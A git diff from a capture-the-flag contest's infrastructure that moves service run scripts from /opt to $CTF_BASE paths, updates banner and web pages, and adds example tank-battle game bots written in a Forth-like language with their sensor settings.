" else echo "Oops, something broke. Better call Neale." diff --git a/packages/multicaster/service/multicaster/run b/packages/multicaster/service/multicaster/run index 9356c83..0ed554b 100755 --- a/packages/multicaster/service/multicaster/run +++ b/packages/multicaster/service/multicaster/run @@ -4,4 +4,4 @@ exec 2>&1 IP=$(dbip -a) -exec setuidgid ctf /opt/multicaster/bin/multicaster ff15::62c 1580 " - print " 
"
-    print "    What is it?"
-    print "      It is a hacker/forensic/puzzle game... are you up for a challenge"
-    print ""      
-    print "    How do I play?"
-    print "      Sit at the terminal and make yourself a team."
-    print "      Follow instructions from there (involves visiting a website)"
-    print ""
-    print "    FAQ:"
-    print "    Q - What is the picture being projected?"
-    print "    A - It is the scoreboard and the image is for you to figure out"
-    print "    "
-    print "    Q - Are there any hints?"
-    print "    A - NO"
-    print "    "
-    print "    Q - Can I connect remotely and play?"
-    print "    A - Sure, connect to our Access Point \"Verizon MiFi A6AD Secure\""
-    print "    "
-    print "    Q - How do I track my points?"
-    print "    A - See first FAQ.  The points are based off of how many"
-    print "        puzzles you've solved in each category"
+    print "    
"
+    print "Project 2
"
+    print "
A CTF for people with limited time/patience/self-confidence.
"
+    print "
Plug in ethernet at this table, download puzzles, go think.
"
+    print "
http://10.0.0.2/
"
+    print "
Use the terminal to claim points when you've figured something out.
"
     print "    
"
     print "  "
     print ""
diff --git a/packages/p2/service/httpd/run b/packages/p2/service/httpd/run
index 0bf8d87..bf3d1fb 100755
--- a/packages/p2/service/httpd/run
+++ b/packages/p2/service/httpd/run
@@ -6,17 +6,26 @@ IP=$(dbip -p ../p2console/ip.txt)
 
 ip route add default via 10.0.0.1
 
+if [ -z "$CTF_BASE" ] && ! grep -q " /www " /proc/mounts; then
+    mount -t tmpfs www /www
+fi
+
 # Link in puzzles and web pages
-install -d /var/www
-for d in /opt/*; do
-    w=/var/www/$(basename $d)
+for d in $CTF_BASE/packages/*; do
+    w=$CTF_BASE/www/$(basename $d)
     if [ -d $d/puzzles ] && ! [ -d $w ]; then
         ln -sf $d/puzzles $w
     fi
     if [ -d $d/www ]; then
-        ln -sf $d/www/* /var/www/
+        ln -sf $d/www/* $CTF_BASE/www/
     fi
 done
 
-cd /var/www
-exec tcpsvd -u nobody ${IP%/*} 80 /opt/p2/bin/eris -c.
+# news.html is persistent
+if ! [ -f $CTF_BASE/state/news.html ]; then
+    cat $CTF_BASE/packages/p2/www/news.html > $CTF_BASE/state/news.html
+fi
+ln -sf $CTF_BASE/state/news.html $CTF_BASE/www
+
+cd $CTF_BASE/www
+exec tcpsvd -u nobody ${IP%/*} 80 $CTF_BASE/packages/p2/bin/eris -c.
diff --git a/packages/p2/service/p2console/ip.txt b/packages/p2/service/p2console/ip.txt
index 23123a6..668b729 100644
--- a/packages/p2/service/p2console/ip.txt
+++ b/packages/p2/service/p2console/ip.txt
@@ -1 +1 @@
-10.0.0.2/24
+10.0.1.2/24
diff --git a/packages/p2/www/credits.html b/packages/p2/www/credits.html
deleted file mode 100644
index 280f2ff..0000000
--- a/packages/p2/www/credits.html
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-  
-    The Credits
-    
-  
-  
-    
Credits

-
-    
Dirtbags Capture the Flag is brought to you by:

-
-    
    
-      
  • The number C
    • 
-      
  • The letters ع and ֆ
    • 
-    

-
-    
And by:

-    
    
-      
  • Alex Brugh
    • 
-      
  • Paul Ferrell
    • 
-      
  • Jeremy Scott
    • 
-      
  • Danny Quist
    • 
-      
  • Adam Glasgall
    • 
-      
  • Curtis Hash
    • 
-      
  • Aaron McPhall
    • 
-      
  • Patrick Avery
    • 
-      
  • Erin Ochoa
    • 
-      
  • William Phillips
    • 
-      
  • Should your name be here?  Please remind me!
    • 
-    

-
-    
Parts of this contest were inspired by:

-    
    
-      
  • DC949
    • 
-      
  • Tube Warriors
    • 
-      
  • Bad people from around the world (screw you guys, seriously)
    • 
-    

-
-    
Lastly, this contest would not exist were it not for hundreds of
-      thousands of lines of code from free software authors around the
-      world, including:

-    
    
-      
  • Busybox and Buildroot
    • 
-      
  • the Linux kernel
    • 
-      
  • dnsmasq
    • 
-      
  • fnord httpd
    • 
-      
  • ngircd
    • 
-      
  • lua
    • 
-    

-  
-
diff --git a/packages/p2/www/index.html b/packages/p2/www/index.html
index bd94f2f..5c5ce1f 100644
--- a/packages/p2/www/index.html
+++ b/packages/p2/www/index.html
@@ -19,6 +19,9 @@
         Some Music to help you concentrate.
         Tune to 101.1 FM for more great hits!
       
+      
  • 
+        News -- updated when things go wrong.
+      
    • 
       
  • 
         About scoring
       
    • 
@@ -37,10 +40,5 @@
       When you have solved a puzzle, enter the answer at the console
       to change your ranking on the scoreboard.
     
    
-
-    
    
-      This event would not be possible without the help of many people.
-      Thank you, people.
-    
    
   
 
diff --git a/packages/p2/www/news.html b/packages/p2/www/news.html
new file mode 100644
index 0000000..442fe21
--- /dev/null
+++ b/packages/p2/www/news.html
@@ -0,0 +1,17 @@
+
+
+  
+    News
+    
+  
+  
+    
    News
    
+
+    
    Usually updated when something goes wrong.
    
+
+    
      
+      
+      
    • Event begins
      • 
+    
    
+  
+
diff --git a/packages/p2client/service/eth0/run b/packages/p2client/service/eth0/run
index 537a8cd..fe2a337 100755
--- a/packages/p2client/service/eth0/run
+++ b/packages/p2client/service/eth0/run
@@ -4,9 +4,5 @@ exec 2>&1
 
 ip link set dev eth0 up
 
-if grep 'debug' /proc/cmdline; then
-    ip addr add dev eth0 10.0.0.110/24
-    exec sleep 8d
-else
-    exec udhcpc -f eth0
-fi
+ip addr add dev eth0 10.0.0.110/24
+exec sleep 8d
diff --git a/packages/p2client/service/p2client/run b/packages/p2client/service/p2client/run
index a7e7c3c..c93a578 100755
--- a/packages/p2client/service/p2client/run
+++ b/packages/p2client/service/p2client/run
@@ -10,7 +10,7 @@ if ! sv s tty1 | grep down; then
 fi
 
 # Cool font
-setfont -C /dev/tty1 /opt/p2client/lite-16.fnt
+setfont -C /dev/tty1 $CTF_BASE/packages/p2client/lite-16.fnt
 
 
 if ! grep -q debug /proc/cmdline; then
@@ -25,7 +25,7 @@ if ! grep -q debug /proc/cmdline; then
     setterm -blank 0 -powersave off -powerdown 0
 
     # Make this like a VT52; including disabling ctrl-alt-del
-    loadkmap < /opt/p2client/dumbterm.kmap
+    loadkmap < $CTF_BASE/packages/p2client/dumbterm.kmap
 
     # Disable console logging
     echo 1 4 1 4 > /proc/sys/kernel/printk
diff --git a/packages/playfair/service/playfair/run b/packages/playfair/service/playfair/run
index e7a9470..41bf390 100755
--- a/packages/playfair/service/playfair/run
+++ b/packages/playfair/service/playfair/run
@@ -5,5 +5,5 @@ exec 2>&1
 IP=$(dbip -a)
 ip addr add $IP dev eth0 || true
 
-exec tcpsvd -u nobody ${IP%/*} 1013 /opt/playfair/bin/playfair
+exec tcpsvd -u nobody ${IP%/*} 1013 $CTF_BASE/packages/playfair/bin/playfair
 
diff --git a/packages/printf/service/printf/run-printf b/packages/printf/service/printf/run-printf
index 49789b9..9563407 100755
--- a/packages/printf/service/printf/run-printf
+++ b/packages/printf/service/printf/run-printf
@@ -1,3 +1,3 @@
 #! /bin/sh
 
-exec chpst -u 9001 -/ /opt/printf/bin ./printf 3 $teamhash
     else
diff --git a/packages/router/service/radvd/run b/packages/router/service/radvd/run
index 3ee78f1..02cecbf 100755
--- a/packages/router/service/radvd/run
+++ b/packages/router/service/radvd/run
@@ -2,4 +2,4 @@
 
 exec 2>&1
 
-exec /opt/router/bin/radvd -C radvd.conf -d 1 -m stderr -p radvd.pid
+exec $CTF_BASE/packages/router/bin/radvd -C radvd.conf -d 1 -m stderr -p radvd.pid
diff --git a/packages/router/service/router/run b/packages/router/service/router/run
index 0e33c6a..2b49e79 100755
--- a/packages/router/service/router/run
+++ b/packages/router/service/router/run
@@ -12,7 +12,7 @@ log () {
     echo "router: $@" > /dev/console
 }
 
-if [ $(mount | grep -c /opt/) -gt 1 ]; then
+if [ $(mount | grep -c /packages/) -gt 1 ]; then
     log "cannot run alongside other packages" > /dev/console
     exit 1
 fi
diff --git a/packages/tanks/examples/hard/antlion/author b/packages/tanks/examples/hard/antlion/author
new file mode 100644
index 0000000..1718d06
--- /dev/null
+++ b/packages/tanks/examples/hard/antlion/author
@@ -0,0 +1 @@
+Nick Moffitt 
diff --git a/packages/tanks/examples/hard/antlion/name b/packages/tanks/examples/hard/antlion/name
new file mode 100644
index 0000000..baf3147
--- /dev/null
+++ b/packages/tanks/examples/hard/antlion/name
@@ -0,0 +1 @@
+Ant Lion
diff --git a/packages/tanks/examples/hard/antlion/program b/packages/tanks/examples/hard/antlion/program
new file mode 100644
index 0000000..beb83bd
--- /dev/null
+++ b/packages/tanks/examples/hard/antlion/program
@@ -0,0 +1,22 @@
+get-turret 6 + set-turret!
+0 0 set-speed!
+
+1 sensor? { get-turret 60 - set-turret! } if
+2 sensor? { get-turret 60 + set-turret! } if
+0 sensor? {
+  fire-ready? { 0 0 set-speed!   fire! } if
+  fire-ready? ! set-led!
+} if
+
+6 sensor? {
+  0 set-turret!                          ( stay on target, stay on target... )
+  3 sensor? { -40 -40 set-speed! } if    ( back dat tank up )
+  4 sensor? { 25 50 set-speed! } if      ( hook )
+  5 sensor? { 50 25 set-speed! } if      ( slice )
+} {
+  3 sensor? { -100 -100 set-speed! } if  ( back dat tank up )
+  4 sensor? { 50 100 set-speed! } if     ( hook )
+  5 sensor? { 100 50 set-speed! } if     ( slice )
+} ifelse
+
+
diff --git a/packages/tanks/examples/hard/antlion/sensor0 b/packages/tanks/examples/hard/antlion/sensor0
new file mode 100644
index 0000000..469111b
--- /dev/null
+++ b/packages/tanks/examples/hard/antlion/sensor0
@@ -0,0 +1 @@
+50 0 5 1
diff --git a/packages/tanks/examples/hard/antlion/sensor1 b/packages/tanks/examples/hard/antlion/sensor1
new file mode 100644
index 0000000..14bda08
--- /dev/null
+++ b/packages/tanks/examples/hard/antlion/sensor1
@@ -0,0 +1 @@
+100 268 177 1
diff --git a/packages/tanks/examples/hard/antlion/sensor2 b/packages/tanks/examples/hard/antlion/sensor2
new file mode 100644
index 0000000..f5fdaac
--- /dev/null
+++ b/packages/tanks/examples/hard/antlion/sensor2
@@ -0,0 +1 @@
+100 92 178 1
diff --git a/packages/tanks/examples/hard/antlion/sensor3 b/packages/tanks/examples/hard/antlion/sensor3
new file mode 100644
index 0000000..4b63c75
--- /dev/null
+++ b/packages/tanks/examples/hard/antlion/sensor3
@@ -0,0 +1 @@
+60 0 120
diff --git a/packages/tanks/examples/hard/antlion/sensor4 b/packages/tanks/examples/hard/antlion/sensor4
new file mode 100644
index 0000000..ae2a212
--- /dev/null
+++ b/packages/tanks/examples/hard/antlion/sensor4
@@ -0,0 +1 @@
+60 120 120
diff --git a/packages/tanks/examples/hard/antlion/sensor5 b/packages/tanks/examples/hard/antlion/sensor5
new file mode 100644
index 0000000..b9e2568
--- /dev/null
+++ b/packages/tanks/examples/hard/antlion/sensor5
@@ -0,0 +1 @@
+60 240 120
diff --git a/packages/tanks/examples/hard/antlion/sensor6 b/packages/tanks/examples/hard/antlion/sensor6
new file mode 100644
index 0000000..13994b7
--- /dev/null
+++ b/packages/tanks/examples/hard/antlion/sensor6
@@ -0,0 +1 @@
+100 0 5 1
diff --git a/packages/tanks/examples/hard/chashtank/author b/packages/tanks/examples/hard/chashtank/author
new file mode 100644
index 0000000..e4503eb
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/author
@@ -0,0 +1 @@
+Curtis Hash 
diff --git a/packages/tanks/examples/hard/chashtank/name b/packages/tanks/examples/hard/chashtank/name
new file mode 100644
index 0000000..b925208
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/name
@@ -0,0 +1 @@
+ChashTank
diff --git a/packages/tanks/examples/hard/chashtank/program b/packages/tanks/examples/hard/chashtank/program
new file mode 100644
index 0000000..dcaa57b
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/program
@@ -0,0 +1,41 @@
+( move back and forth )
+0 set-turret!
+6 random 2 < { 95 75 set-speed! } { 90 90 set-speed! } ifelse
+
+( rear sensor )
+4 sensor? { 90 90 set-speed! } if
+
+( far right front sensor )
+5 sensor? { 100 -100 set-speed! } if
+
+( far left front sensor )
+6 sensor? { -100 100 set-speed! } if
+
+( right front sensor )
+2 sensor? { 80 -80 set-speed! } if
+
+( left front sensor )
+3 sensor? { -80 80 set-speed! } if
+
+( immediate front sensor in firing range )
+0 sensor?
+{
+  fire-ready?
+  { fire! }
+  { -50 -50 set-speed! }
+  ifelse
+}
+if
+
+( near far right front sensor )
+8 sensor? { 60 -60 set-speed! } if
+9 sensor? { -60 60 set-speed! } if
+
+fire-ready? set-led!
+
+( front far sensor )
+7 sensor? fire-ready? & { 100 100 set-speed! } if
+
+( collison sensor )
+1 sensor? { -100 -100 set-speed!  0 set-turret! } if
+
diff --git a/packages/tanks/examples/hard/chashtank/sensor0 b/packages/tanks/examples/hard/chashtank/sensor0
new file mode 100644
index 0000000..b5725bf
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/sensor0
@@ -0,0 +1 @@
+50 0 10 1
diff --git a/packages/tanks/examples/hard/chashtank/sensor1 b/packages/tanks/examples/hard/chashtank/sensor1
new file mode 100644
index 0000000..6ffe40c
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/sensor1
@@ -0,0 +1 @@
+35 0 90 0
diff --git a/packages/tanks/examples/hard/chashtank/sensor2 b/packages/tanks/examples/hard/chashtank/sensor2
new file mode 100644
index 0000000..b9fcdad
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/sensor2
@@ -0,0 +1 @@
+100 30 59 0
diff --git a/packages/tanks/examples/hard/chashtank/sensor3 b/packages/tanks/examples/hard/chashtank/sensor3
new file mode 100644
index 0000000..dfda664
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/sensor3
@@ -0,0 +1 @@
+100 330 59 0
diff --git a/packages/tanks/examples/hard/chashtank/sensor4 b/packages/tanks/examples/hard/chashtank/sensor4
new file mode 100644
index 0000000..a18b6ea
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/sensor4
@@ -0,0 +1 @@
+70 180 180 0
diff --git a/packages/tanks/examples/hard/chashtank/sensor5 b/packages/tanks/examples/hard/chashtank/sensor5
new file mode 100644
index 0000000..f7ddaaa
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/sensor5
@@ -0,0 +1 @@
+100 90 59 0
diff --git a/packages/tanks/examples/hard/chashtank/sensor6 b/packages/tanks/examples/hard/chashtank/sensor6
new file mode 100644
index 0000000..a6561dd
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/sensor6
@@ -0,0 +1 @@
+100 270 59 0
diff --git a/packages/tanks/examples/hard/chashtank/sensor7 b/packages/tanks/examples/hard/chashtank/sensor7
new file mode 100644
index 0000000..13994b7
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/sensor7
@@ -0,0 +1 @@
+100 0 5 1
diff --git a/packages/tanks/examples/hard/chashtank/sensor8 b/packages/tanks/examples/hard/chashtank/sensor8
new file mode 100644
index 0000000..faf590f
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/sensor8
@@ -0,0 +1 @@
+55 50 89 0
diff --git a/packages/tanks/examples/hard/chashtank/sensor9 b/packages/tanks/examples/hard/chashtank/sensor9
new file mode 100644
index 0000000..31cddcd
--- /dev/null
+++ b/packages/tanks/examples/hard/chashtank/sensor9
@@ -0,0 +1 @@
+55 310 89 0
diff --git a/packages/tanks/examples/hard/crashmaster/author b/packages/tanks/examples/hard/crashmaster/author
new file mode 100644
index 0000000..902019d
--- /dev/null
+++ b/packages/tanks/examples/hard/crashmaster/author
@@ -0,0 +1 @@
+Neale Pickett 
diff --git a/packages/tanks/examples/hard/crashmaster/name b/packages/tanks/examples/hard/crashmaster/name
new file mode 100644
index 0000000..e0a2059
--- /dev/null
+++ b/packages/tanks/examples/hard/crashmaster/name
@@ -0,0 +1 @@
+Crashmaster
diff --git a/packages/tanks/examples/hard/crashmaster/program b/packages/tanks/examples/hard/crashmaster/program
new file mode 100644
index 0000000..288b323
--- /dev/null
+++ b/packages/tanks/examples/hard/crashmaster/program
@@ -0,0 +1,38 @@
+( Mem 0: Turn number )
+0 mget
+1 +
+0 mset
+
+0 mget 30 % 10 /              ( [0..2], changes every 10 turns )
+dup 0 = { 80 80 set-speed! } if
+dup 1 = { 60 80 set-speed! } if
+    2 = { 80 60 set-speed! } if
+
+0 set-turret!
+
+fire-ready? set-led!
+
+fire-ready?
+{
+  ( Behavior for when we can shoot )
+
+  0 sensor?              { fire! } if
+  1 sensor?              { 10 10 set-speed!    0 set-turret! } if
+  2 sensor?              { 10 10 set-speed!    0 set-turret! } if
+  3 sensor?              { 0 60 set-speed!     get-turret 50 - set-turret! } if
+  4 sensor?              { 60 0 set-speed!     get-turret 50 + set-turret! } if
+  3 sensor? 4 sensor? &  { 100 100 set-speed!  get-turret set-turret! } if
+  5 sensor?              { 100 40 set-speed! } if
+}
+{
+  ( Behavior for when we can't shoot )
+
+  0 sensor?              { 10 20 set-speed! } if
+  1 sensor?              { 10 10 set-speed! } if
+  2 sensor?              { 10 20 set-speed! } if
+  3 sensor?              { 70 50 set-speed! } if
+  4 sensor?              { 50 70 set-speed! } if
+  3 sensor? 4 sensor? &  { -100 20 set-speed! } if
+  5 sensor?              { 100 50 set-speed! } if
+}
+ifelse
diff --git a/packages/tanks/examples/hard/crashmaster/sensor0 b/packages/tanks/examples/hard/crashmaster/sensor0
new file mode 100644
index 0000000..682dfb9
--- /dev/null
+++ b/packages/tanks/examples/hard/crashmaster/sensor0
@@ -0,0 +1 @@
+50 0 8 1
diff --git a/packages/tanks/examples/hard/crashmaster/sensor1 b/packages/tanks/examples/hard/crashmaster/sensor1
new file mode 100644
index 0000000..a6b17e8
--- /dev/null
+++ b/packages/tanks/examples/hard/crashmaster/sensor1
@@ -0,0 +1 @@
+30 0 50 0
diff --git a/packages/tanks/examples/hard/crashmaster/sensor2 b/packages/tanks/examples/hard/crashmaster/sensor2
new file mode 100644
index 0000000..7851bcc
--- /dev/null
+++ b/packages/tanks/examples/hard/crashmaster/sensor2
@@ -0,0 +1 @@
+50 0 10 0
diff --git a/packages/tanks/examples/hard/crashmaster/sensor3 b/packages/tanks/examples/hard/crashmaster/sensor3
new file mode 100644
index 0000000..473e0b5
--- /dev/null
+++ b/packages/tanks/examples/hard/crashmaster/sensor3
@@ -0,0 +1 @@
+100 315 100 1
diff --git a/packages/tanks/examples/hard/crashmaster/sensor4 b/packages/tanks/examples/hard/crashmaster/sensor4
new file mode 100644
index 0000000..cb0e6e2
--- /dev/null
+++ b/packages/tanks/examples/hard/crashmaster/sensor4
@@ -0,0 +1 @@
+100 45 100 1
diff --git a/packages/tanks/examples/hard/crashmaster/sensor5 b/packages/tanks/examples/hard/crashmaster/sensor5
new file mode 100644
index 0000000..3f436a9
--- /dev/null
+++ b/packages/tanks/examples/hard/crashmaster/sensor5
@@ -0,0 +1 @@
+60 180 180 0
diff --git a/packages/tanks/examples/hard/foobar/author b/packages/tanks/examples/hard/foobar/author
new file mode 100644
index 0000000..e4503eb
--- /dev/null
+++ b/packages/tanks/examples/hard/foobar/author
@@ -0,0 +1 @@
+Curtis Hash 
diff --git a/packages/tanks/examples/hard/foobar/name b/packages/tanks/examples/hard/foobar/name
new file mode 100644
index 0000000..323fae0
--- /dev/null
+++ b/packages/tanks/examples/hard/foobar/name
@@ -0,0 +1 @@
+foobar
diff --git a/packages/tanks/examples/hard/foobar/program b/packages/tanks/examples/hard/foobar/program
new file mode 100644
index 0000000..eecd344
--- /dev/null
+++ b/packages/tanks/examples/hard/foobar/program
@@ -0,0 +1,15 @@
+65 85 set-speed!
+
+6 random 2 <= { 85 65 set-speed! } if
+
+0 set-turret!
+2 sensor? { 80 10 set-speed!  get-turret 30 + set-turret! } if
+3 sensor? { 10 80 set-speed!  get-turret 30 - set-turret! } if
+4 sensor? { 90 90 set-speed! } if
+5 sensor? { 90 10 set-speed!  get-turret 30 + set-turret! } if
+6 sensor? { 10 90 set-speed!  get-turret 30 - set-turret! } if
+0 sensor? fire-ready? & { 90 90 set-speed!  0 set-turret!   fire! } if
+1 sensor? { -100 -100 set-speed! } if
+
+fire-ready? set-led!
+
diff --git a/packages/tanks/examples/hard/foobar/sensor0 b/packages/tanks/examples/hard/foobar/sensor0
new file mode 100644
index 0000000..034e325
--- /dev/null
+++ b/packages/tanks/examples/hard/foobar/sensor0
@@ -0,0 +1 @@
+55 0 5 1
diff --git a/packages/tanks/examples/hard/foobar/sensor1 b/packages/tanks/examples/hard/foobar/sensor1
new file mode 100644
index 0000000..b21565e
--- /dev/null
+++ b/packages/tanks/examples/hard/foobar/sensor1
@@ -0,0 +1 @@
+40 0 30 0
diff --git a/packages/tanks/examples/hard/foobar/sensor2 b/packages/tanks/examples/hard/foobar/sensor2
new file mode 100644
index 0000000..89ec188
--- /dev/null
+++ b/packages/tanks/examples/hard/foobar/sensor2
@@ -0,0 +1 @@
+80 30 59 0
diff --git a/packages/tanks/examples/hard/foobar/sensor3 b/packages/tanks/examples/hard/foobar/sensor3
new file mode 100644
index 0000000..c438cad
--- /dev/null
+++ b/packages/tanks/examples/hard/foobar/sensor3
@@ -0,0 +1 @@
+80 330 59 0
diff --git a/packages/tanks/examples/hard/foobar/sensor4 b/packages/tanks/examples/hard/foobar/sensor4
new file mode 100644
index 0000000..a18b6ea
--- /dev/null
+++ b/packages/tanks/examples/hard/foobar/sensor4
@@ -0,0 +1 @@
+70 180 180 0
diff --git a/packages/tanks/examples/hard/foobar/sensor5 b/packages/tanks/examples/hard/foobar/sensor5
new file mode 100644
index 0000000..c83a316
--- /dev/null
+++ b/packages/tanks/examples/hard/foobar/sensor5
@@ -0,0 +1 @@
+80 90 59 0
diff --git a/packages/tanks/examples/hard/foobar/sensor6 b/packages/tanks/examples/hard/foobar/sensor6
new file mode 100644
index 0000000..ee3f02a
--- /dev/null
+++ b/packages/tanks/examples/hard/foobar/sensor6
@@ -0,0 +1 @@
+80 270 59 0
diff --git a/packages/tanks/examples/hard/pflarr/author b/packages/tanks/examples/hard/pflarr/author
new file mode 100644
index 0000000..5d7a8e0
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/author
@@ -0,0 +1 @@
+Paul Ferrell 
diff --git a/packages/tanks/examples/hard/pflarr/name b/packages/tanks/examples/hard/pflarr/name
new file mode 100644
index 0000000..e2f684c
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/name
@@ -0,0 +1 @@
+Pflanzarr
diff --git a/packages/tanks/examples/hard/pflarr/program b/packages/tanks/examples/hard/pflarr/program
new file mode 100644
index 0000000..f7df7a1
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/program
@@ -0,0 +1,27 @@
+70 75 set-speed!
+0 set-turret!
+
+10 random 1 > { 75 75 set-speed! } if
+
+2 sensor? {
+  85 70 set-speed!
+  0 sensor? { get-turret 15 + set-turret! }
+            { get-turret 30 + set-turret! } ifelse 
+} if
+3 sensor? { 
+  75 80 set-speed!
+  0 sensor? { get-turret 15 - set-turret! }
+            { get-turret 30 - set-turret! } ifelse 
+} if
+5 sensor? { 
+  7 sensor? { 70 30 set-speed! } if
+  8 sensor? { 30 70 set-speed! } if
+  0 sensor? { fire! } if
+  6 sensor? fire-ready? & { 100 100 set-speed! } if
+} if
+4 sensor? { 100 100 set-speed! } if
+1 sensor? { -50 25 set-speed! } if
+
+fire-ready? set-led!
+
+
diff --git a/packages/tanks/examples/hard/pflarr/sensor0 b/packages/tanks/examples/hard/pflarr/sensor0
new file mode 100644
index 0000000..c134070
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/sensor0
@@ -0,0 +1 @@
+50 0 45 1
diff --git a/packages/tanks/examples/hard/pflarr/sensor1 b/packages/tanks/examples/hard/pflarr/sensor1
new file mode 100644
index 0000000..5773d18
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/sensor1
@@ -0,0 +1 @@
+30 0 180
diff --git a/packages/tanks/examples/hard/pflarr/sensor2 b/packages/tanks/examples/hard/pflarr/sensor2
new file mode 100644
index 0000000..c5e303c
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/sensor2
@@ -0,0 +1 @@
+100 40 60 1
diff --git a/packages/tanks/examples/hard/pflarr/sensor3 b/packages/tanks/examples/hard/pflarr/sensor3
new file mode 100644
index 0000000..4c9cef7
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/sensor3
@@ -0,0 +1 @@
+100 320 60 1
diff --git a/packages/tanks/examples/hard/pflarr/sensor4 b/packages/tanks/examples/hard/pflarr/sensor4
new file mode 100644
index 0000000..8f73117
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/sensor4
@@ -0,0 +1 @@
+80 180 160
diff --git a/packages/tanks/examples/hard/pflarr/sensor5 b/packages/tanks/examples/hard/pflarr/sensor5
new file mode 100644
index 0000000..1212984
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/sensor5
@@ -0,0 +1 @@
+100 0 0 1
diff --git a/packages/tanks/examples/hard/pflarr/sensor6 b/packages/tanks/examples/hard/pflarr/sensor6
new file mode 100644
index 0000000..7d1e8c4
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/sensor6
@@ -0,0 +1 @@
+100 0 0
diff --git a/packages/tanks/examples/hard/pflarr/sensor7 b/packages/tanks/examples/hard/pflarr/sensor7
new file mode 100644
index 0000000..b761a40
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/sensor7
@@ -0,0 +1 @@
+75 75 30
diff --git a/packages/tanks/examples/hard/pflarr/sensor8 b/packages/tanks/examples/hard/pflarr/sensor8
new file mode 100644
index 0000000..7b7dcc2
--- /dev/null
+++ b/packages/tanks/examples/hard/pflarr/sensor8
@@ -0,0 +1 @@
+75 285 30
diff --git a/packages/tanks/examples/insane/BoomStick/author b/packages/tanks/examples/insane/BoomStick/author
new file mode 100644
index 0000000..eefbad4
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/author
@@ -0,0 +1 @@
+Adam 
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/BoomStick/color b/packages/tanks/examples/insane/BoomStick/color
new file mode 100644
index 0000000..0cb011e
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/color
@@ -0,0 +1 @@
+#7bdd82
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/BoomStick/name b/packages/tanks/examples/insane/BoomStick/name
new file mode 100644
index 0000000..0752946
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/name
@@ -0,0 +1 @@
+BoomStick
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/BoomStick/program b/packages/tanks/examples/insane/BoomStick/program
new file mode 100644
index 0000000..9ed449a
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/program
@@ -0,0 +1,56 @@
+0 sensor? { 0 0 mset fire! }if
+
+0 9 mset
+
+8 sensor? {-36 get-turret + set-turret! 1 9 mset} if
+4 sensor? { 36 get-turret + set-turret! 1 9 mset} if
+2 sensor? {-18 get-turret + set-turret! 1 9 mset} if
+1 sensor? { 18 get-turret + set-turret! 1 9 mset} if
+7 sensor? {  0 get-turret + set-turret! 1 9 mset} if
+
+fire-ready?
+{
+  6 sensor?
+  {
+    9 mget ! { 0 set-turret! } if
+    100 100 set-speed! 5 0 mset
+  }
+  {
+    5 sensor? { 100 -80 set-speed! 5 0 mset} if
+    8 sensor? { -80 100 set-speed! 5 0 mset } if
+  }
+  ifelse
+}
+{
+  6 sensor? { 1 set-led! -100 -100 set-speed! 3 0 mset } if
+  5 sensor? { 1 set-led! -75 -100 set-speed! 3 0 mset } if
+  8 sensor? { 1 set-led! -100 -75 set-speed! 3 0 mset } if
+}
+ifelse
+
+
+0 mget 0 =
+{
+  0 set-led!
+  0 set-turret!
+
+  1 mget 0 =
+  {
+    0 set-turret!
+    3 random
+    dup 0 = {90 90 set-speed! 20 random 1 mset } if
+    dup 1 = {00 90 set-speed!  3 random 1 mset } if
+    dup 2 = {90 00 set-speed!  3 random 1 mset } if
+  }
+  {
+    1 mget 1 - 1 mset
+  }
+  ifelse
+}
+{
+  0 mget 1 - 0 mset
+}
+ifelse
+
+3 sensor? { -10 -10 set-speed! 1 0 mset } if
+
diff --git a/packages/tanks/examples/insane/BoomStick/sensor0 b/packages/tanks/examples/insane/BoomStick/sensor0
new file mode 100644
index 0000000..f810184
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/sensor0
@@ -0,0 +1 @@
+50 0 2 1
diff --git a/packages/tanks/examples/insane/BoomStick/sensor1 b/packages/tanks/examples/insane/BoomStick/sensor1
new file mode 100644
index 0000000..5a59710
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/sensor1
@@ -0,0 +1 @@
+100 18 18 1
diff --git a/packages/tanks/examples/insane/BoomStick/sensor2 b/packages/tanks/examples/insane/BoomStick/sensor2
new file mode 100644
index 0000000..a409452
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/sensor2
@@ -0,0 +1 @@
+100 -18 18 1
diff --git a/packages/tanks/examples/insane/BoomStick/sensor3 b/packages/tanks/examples/insane/BoomStick/sensor3
new file mode 100644
index 0000000..61d740b
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/sensor3
@@ -0,0 +1 @@
+25 0 120 0
diff --git a/packages/tanks/examples/insane/BoomStick/sensor4 b/packages/tanks/examples/insane/BoomStick/sensor4
new file mode 100644
index 0000000..5a39230
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/sensor4
@@ -0,0 +1 @@
+100 36 18 1
diff --git a/packages/tanks/examples/insane/BoomStick/sensor5 b/packages/tanks/examples/insane/BoomStick/sensor5
